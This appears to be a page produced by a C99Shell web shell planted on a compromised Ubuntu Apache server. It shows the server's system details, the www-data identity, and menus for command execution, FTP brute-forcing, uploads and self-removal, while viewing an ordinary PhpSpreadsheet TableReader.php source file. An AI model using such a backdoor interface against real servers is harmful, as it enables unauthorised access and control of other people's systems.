!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/   drwxr-xr-x
Free 13.19 GB of 57.97 GB (22.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TableReader.php (3.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx;

use 
PhpOffice\PhpSpreadsheet\Worksheet\Table;
use 
PhpOffice\PhpSpreadsheet\Worksheet\Table\TableStyle;
use 
PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
use 
SimpleXMLElement;

class 
TableReader
{
    
/**
     * @var Worksheet
     */
    
private $worksheet;

    
/**
     * @var SimpleXMLElement
     */
    
private $tableXml;

    public function 
__construct(Worksheet $workSheetSimpleXMLElement $tableXml)
    {
        
$this->worksheet $workSheet;
        
$this->tableXml $tableXml;
    }

    
/**
     * Loads Table into the Worksheet.
     */
    
public function load(): void
    
{
        
// Remove all "$" in the table range
        
$tableRange = (string) preg_replace('/\$/'''$this->tableXml['ref'] ?? '');
        if (
strpos($tableRange':') !== false) {
            
$this->readTable($tableRange$this->tableXml);
        }
    }

    
/**
     * Read Table from xml.
     */
    
private function readTable(string $tableRangeSimpleXMLElement $tableXml): void
    
{
        
$table = new Table($tableRange);
        
$table->setName((string) $tableXml['displayName']);
        
$table->setShowHeaderRow((string) $tableXml['headerRowCount'] !== '0');
        
$table->setShowTotalsRow((string) $tableXml['totalsRowCount'] === '1');

        
$this->readTableAutoFilter($table$tableXml->autoFilter);
        
$this->readTableColumns($table$tableXml->tableColumns);
        
$this->readTableStyle($table$tableXml->tableStyleInfo);

        (new 
AutoFilter($table$tableXml))->load();
        
$this->worksheet->addTable($table);
    }

    
/**
     * Reads TableAutoFilter from xml.
     */
    
private function readTableAutoFilter(Table $tableSimpleXMLElement $autoFilterXml): void
    
{
        if (
$autoFilterXml->filterColumn === null) {
            
$table->setAllowFilter(false);

            return;
        }

        foreach (
$autoFilterXml->filterColumn as $filterColumn) {
            
$column $table->getColumnByOffset((int) $filterColumn['colId']);
            
$column->setShowFilterButton((string) $filterColumn['hiddenButton'] !== '1');
        }
    }

    
/**
     * Reads TableColumns from xml.
     */
    
private function readTableColumns(Table $tableSimpleXMLElement $tableColumnsXml): void
    
{
        
$offset 0;
        foreach (
$tableColumnsXml->tableColumn as $tableColumn) {
            
$column $table->getColumnByOffset($offset++);

            if (
$table->getShowTotalsRow()) {
                if (
$tableColumn['totalsRowLabel']) {
                    
$column->setTotalsRowLabel((string) $tableColumn['totalsRowLabel']);
                }

                if (
$tableColumn['totalsRowFunction']) {
                    
$column->setTotalsRowFunction((string) $tableColumn['totalsRowFunction']);
                }
            }

            if (
$tableColumn->calculatedColumnFormula) {
                
$column->setColumnFormula((string) $tableColumn->calculatedColumnFormula);
            }
        }
    }

    
/**
     * Reads TableStyle from xml.
     */
    
private function readTableStyle(Table $tableSimpleXMLElement $tableStyleInfoXml): void
    
{
        
$tableStyle = new TableStyle();
        
$tableStyle->setTheme((string) $tableStyleInfoXml['name']);
        
$tableStyle->setShowRowStripes((string) $tableStyleInfoXml['showRowStripes'] === '1');
        
$tableStyle->setShowColumnStripes((string) $tableStyleInfoXml['showColumnStripes'] === '1');
        
$tableStyle->setShowFirstColumn((string) $tableStyleInfoXml['showFirstColumn'] === '1');
        
$tableStyle->setShowLastColumn((string) $tableStyleInfoXml['showLastColumn'] === '1');
        
$table->setStyle($tableStyle);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0178 ]--